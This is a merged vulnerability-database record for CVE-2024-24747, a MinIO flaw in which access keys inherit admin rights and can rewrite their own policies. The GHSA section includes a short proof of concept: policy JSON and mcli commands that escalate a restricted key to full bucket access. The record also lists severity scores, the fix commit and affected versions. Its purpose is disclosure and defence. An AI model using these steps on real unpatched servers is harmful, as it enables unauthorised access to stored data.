{"id":"CVE-2024-24747","aliases":["CVE-2024-24747","GHSA-xx8w-mq23-29g4","GO-2024-2499"],"related":[],"kind":"vulnerability","state":"published","title":"MinIO unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation","summary":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen someone creates an access key, it inherits the permissions of the parent key. Not only for \n`s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the \naccess-key hierarchy, the `admin` rights are denied, access keys will be able to simply \noverride their own `s3` permissions to something more permissive.\n\nCredit to @xSke for sort of accidentally discovering this. I only understood the implications.\n\n### Details / PoC\nWe spun up the latest version of minio in a docker container and signed in to the admin UI \nusing the minio root user. We created two buckets, `public` and `private` and created an \naccess key called `mycat` and attached the following policy to only allow access to the \nbucket called `public`.\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n  {\n   \"Effect\": \"Allow\",\n   \"Action\": [\n    \"s3:*\"\n   ],\n   \"Resource\": [\n    \"arn:aws:s3:::public\",\n    \"arn:aws:s3:::public/*\"\n   ]\n  }\n ]\n}\n```\nWe then set an alias in mc:  `mcli alias set vuln http://localhost:9001 mycat mycatiscute` \n\nAnd checked whether policy works:\n```\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B public/\n```\nLooks good, we believe this is how 99% of users will work with access policies.\n\nIf I now create a file `full-access-policy.json`:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": [\n        \"s3:*\"\n      ],\n      \"Resource\": [\n        \"arn:aws:s3:::*\"\n      ]\n    }\n  ]\n}\n```\nAnd then:\n\n```sh\nA ~/c/minio-vuln mcli admin user svcacct edit --policy full-access-policy.json vuln mycat\nEdited service account `mycat` successfully.\n```\n`mycat` has escalated its privileges to get access to the entire deployment: \n```sh\nA ~/c/minio-vuln mcli ls vuln\n[0001-01-01 00:53:28 LMT]     0B private/\n[0001-01-01 00:53:28 LMT]     0B public/\n```\n\n### Impact\nA trivial privilege escalation unless the operator fully understands that they need to \nexplicitly deny `admin` actions on access keys. \n\n### Patched\n\n```\ncommit 0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776 (HEAD -> master, origin/master)\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate:   Wed Jan 31 10:56:45 2024 -0800\n\n    fix: permission checks for editing access keys (#18928)\n    \n    With this change, only a user with `UpdateServiceAccountAdminAction`\n    permission is able to edit access keys.\n    \n    We would like to let a user edit their own access keys, however the\n    feature needs to be re-designed for better security and integration with\n    external systems like AD/LDAP and OpenID.\n    \n    This change prevents privilege escalation via service accounts.\n```","format":"markdown","source":"ghsa"},{"lang":"en","text":"Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation in github.com/minio/minio","format":"markdown","source":"go"},{"lang":"es","text":"MinIO es un almacenamiento de objetos de alto rendimiento. Cuando alguien crea una clave de acceso, hereda los permisos de la clave principal. No solo para acciones `s3:*`, sino también para acciones `admin:*`. Lo que significa que, a menos que en algún lugar superior de la jerarquía de claves de acceso se denieguen los derechos de \"administrador\", las claves de acceso podrán simplemente anular sus propios permisos \"s3\" por algo más permisivo. La vulnerabilidad se solucionó en RELEASE.2024-01-31T20-20-33Z.","source":"nvd"}],"published":"2024-01-31T22:10:23.375Z","modified":"2026-10-08T08:11:01.109Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-269"],"affected":[{"ranges":[{"version":"< RELEASE.2024-01-31T20-20-33Z","status":"affected"}],"vendor":"minio","product":"minio","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"RELEASE.2024-01-31T20-20-33Z","status":"affected"}],"vendor":"minio","product":"minio","cpe":"cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240131185645-0ae4915a9391"}],"ecosystem":"Go","package":"github.com/minio/minio","purl":"pkg:golang/github.com/minio/minio","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20240131185645-0ae4915a9391"}],"ecosystem":"Go","package":"github.com/minio/minio","purl":"pkg:golang/github.com/minio/minio","source":"go"},{"ranges":[{"status":"affected","version":"2024-01-31t20-20-33z"}],"vendor":"minio","product":"minio","cpe":"cpe:2.3:a:minio:minio:2024-01-31t20-20-33z:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/minio/minio/security/advisories/GHSA-xx8w-mq23-29g4","tags":["advisory","exploit","patch","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776","tags":["fix","patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/minio/minio/releases/tag/RELEASE.2024-01-31T20-20-33Z","tags":["patch","release-notes","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24747","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/minio/minio","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-05-09T04:00:49.594Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-24747","url":"https://www.cve.org/CVERecord?id=CVE-2024-24747","licence":"CVE Terms of Use","modified":"2024-08-01T23:28:11.919Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xx8w-mq23-29g4","url":"https://github.com/advisories/GHSA-xx8w-mq23-29g4","licence":"CC-BY-4.0","modified":"2026-10-08T08:11:01.109Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2024-2499","url":"https://pkg.go.dev/vuln/GO-2024-2499","licence":"CC-BY-4.0","modified":"2026-10-08T08:11:01.109Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-24747","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-24747","licence":"Public domain","modified":"2026-06-17T07:14:46.697Z"}],"updatedAt":"2026-11-25T22:58:36.489Z","epss":{"score":0.04354,"percentile":0.92026,"date":"2026-11-30T12:00:22.000Z"}}